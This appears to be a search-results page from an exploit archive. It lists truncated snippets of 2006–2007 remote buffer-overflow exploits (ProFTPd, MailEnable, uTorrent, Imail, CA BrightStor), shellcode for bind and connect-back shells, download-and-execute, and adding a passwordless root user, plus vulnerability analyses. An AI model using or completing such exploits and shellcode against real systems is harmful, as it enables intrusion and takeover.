7613 matches found
ProFTPd 1.3.01.3.0a - mod_ctrls support Local Buffer Overflow (2)
ProFTPd 1.3.01.3.0a - modctrls support Local Buffer Overflow 2 !/usr/bin/perl -w $Id: revengeproftpdctrls26.pl, v1.1 2007/02/18 19:30:25 revenge Exp $ ProFTPD v1.3.0/1.3.0a Controls Buffer Overflow Exploit Original Advisory : http://www.coresecurity.com/?action=item&id=1594 Exploitation condition...
MailEnable Professional 2.35 Remote Buffer Overflow Exploit
No description provided by source. !/usr/bin/perl maildisable-v6.pl Mail Enable Professional =v2.35 win32 remote exploit by mu-b - Tue Dec 5 2006 - Tested on: Mail Enable Professional v2.35 win32 Note: timing is quite critical with this!!, so change $senddelay if it doesn't work...
MS07-0 0 4 General overflow of the method-completion-bug warning-the black bar safety net
This article ms07-0 0 4 as an example, explores this vulnerability of the General method, to restore the ie method, as well as the heap spray technology. The topic is! by axis Date: 2007-02-13 Email: axisatph4nt0m.org MS07-0 0 4 out there for some time, I wrote an analysis paper, and for this...
ipb search.php vulnerability analysis and thinking-vulnerability warning-the black bar safety net
ipb search.php vulnerability analysis and thinking A vulnerability model may unearth a batch of vulnerabilities Idea is the most important pregreplace+/e Author: SuperHeiAtph4nt0m.org Blog: http://superhei.blogbus.com/ Team: http://www.ph4nt0m.org Data: 2006-04-27 Simple analysis The vulnerabilit...
uTorrent 1.6 Remote Heap Overflow Exploit PoC
No description provided by source. / This is a PoC remote exploit for uTorrent 1.6 Author: defsec [email protected] http://www.defacedsecurity.com Works on XP SP1 and w2k sp1-4 / include stdio.h include stdlib.h define NASIZE 4880 unsigned char niceannounceNASIZE;...
μTorrent (uTorrent) 1.6 build 474 - 'announce' Key Remote Heap Overflow
/ This is a PoC remote exploit for uTorrent 1.6 Author: defsec http://www.defacedsecurity.com Works on XP SP1 and w2k sp1-4 / include include define NASIZE 4880 unsigned char niceannounceNASIZE; unsigned char xorops="\x33\xc0\x33\xdb"; // win32exec - EXITFUNC=process CMD=calc Size=343...
solaris/sparc connect-back (with XNOR encoded session) 600 bytes
No description provided by source. / black-RXenc-con-back-SOLARIS.c MIPS This is a relitivly small 600 byte shellcode that encodes all network trafic between the exploited process and the attacker. All clear-text shell i/o is encoded using a simple NOT algo before being transmitted on the wire...
linux/x86 HTTP/1.x GET, Downloads and execve() 111 bytes+
No description provided by source. / linux/x86 - HTTP/1.x GET, Downloads and execve - 111 bytes+ This shellcode allows you to download a ELF executable straight off a standard HTTP server and launch it. It will saved locally it into a filename called 'A' in the current directory. CONFIGURATION Th...
linux/x86 SET_PORT() portbind 100 bytes
No description provided by source. /--------------------------------------------------------------------------- 100 byte Portbind shellcode by Benjamin Orozco - [email protected] --------------------------------------------------------------------------- filename: x86-linux-portbind.c discription...
bsd/x86 setuid/portbind shellcode 94 bytes
No description provided by source. / $Id: portbind-bsd.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ portbind-bsd.c - setuid/portbind shellcode for BSD/x86 Copyright c 2003 Marco Ivaldi [email protected] Simple portbind shellcode that bind's a setuid0 shell on...
linux/x86 add root user r00t with no password to /etc/passwd 69 bytes
No description provided by source. / By Kris Katterjohn 11/14/2006 69 byte shellcode to add root user 'r00t' with no password to /etc/passwd for Linux/x86 section .text global start start: ; open"/etc//passwd", OWRONLY | OAPPEND push byte 5 pop eax xor ecx, ecx push ecx push 0x64777373 push...
freebsd/x86 portbind 4883 with auth shellcode
No description provided by source. / THE ZUGCODE - SMALL REMOTE 6ACKD0R FreeBSD i386 bind shell with auth code by MahDelin Big thx SST kaka, nolife, white Listen on the port 4883 the /bin/sh / / void zugcodevoid //socket asm"xorl %eax, %eax"; asm"pushl %eax"; asm"pushl %eax"; asm"pushl $0x01";...
bsd/x86 setuid/execve shellcode 30 bytes
No description provided by source. / $Id: setuid-bsd.c,v 1.6 2004/06/02 12:22:30 raptor Exp $ setuid-bsd.c - setuid/execve shellcode for BSD/x86 Copyright c 2003 Marco Ivaldi [email protected] Short setuid0 and /bin/sh execve shellcode based on esdee's code. ...
openbsd/x86 execve(/bin/sh) 23 bytes
No description provided by source. / OpenBSD/x86 Shellcode for: execve"/bin/sh", "/bin/sh", NULL 23 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ Fancy mappings by iruata souza muzgo iru.muzgo!gmail.com http://openvms-rocks.com/muzgo/ / include sys/types.h include sys/stat.h include...
linux/x86 SET_IP() Connectback Shellcode 82 bytes
No description provided by source. /--------------------------------------------------------------------------- 82 byte Connectback shellcode by Benjamin Orozco - [email protected] --------------------------------------------------------------------------- filename: x86-linux-connectback.c...
Microsoft Excel畸形字符串远程代码执行漏洞
Microsoft Excel是非常流行的电子表格处理办公软件。 Microsoft Excel处理畸形文件格式时存在漏洞，远程攻击者可能利用此漏洞通过诱骗用户打开恶意文件控制用户机器。 如果用户受骗打开了恶意的Excel文件的话，就可能导致执行任意代码。目前这个漏洞正在被名为Exploit-MSExcel.h的木马积极地利用。在打开畸形的XLS文件时会执行以下操作： 在内存中解压异或加密的shellcode 对于Windows XP Service Pack 2，使用硬编码的地址加载KERNEL32.DLL；对于其他Windows版本，Excel会崩溃...
Imail 8.10-8.12 (RCPT TO) Remote Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ======================================================== Imail 8.10-8.12 RCPT TO Remote Buffer Overflow Exploit ======================================================== !/usr/bin/perl...
linux/x86-64 execve(/bin/sh) 33 bytes
No description provided by source. Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx movq $0x68732f6e69622fff,%rbx shr $0x8, %rbx push %rbx movq %rsp,%rdi xorq %rax,%rax pushq %rax pushq %rdi movq %rsp,%rsi mov $0x3b,%...
CA BrightStor ARCserve (lgserver.exe) Remote Stack Overflow Exploit
No description provided by source. !/usr/bin/python Remote exploit for the CA BrightStor Arcserve stack overflow as described in http://www.securityfocus.com/archive/1/458648/30/0/threaded Winny Thomas ;- Author shall bear no responsibility for any screw ups caused by using this code import os...
CA BrightStor ARCserve (lgserver.exe) Remote Stack Overflow Exploit
Exploit for unknown platform in category remote exploits =================================================================== CA BrightStor ARCserve lgserver.exe Remote Stack Overflow Exploit =================================================================== !/usr/bin/python Remote exploit for th...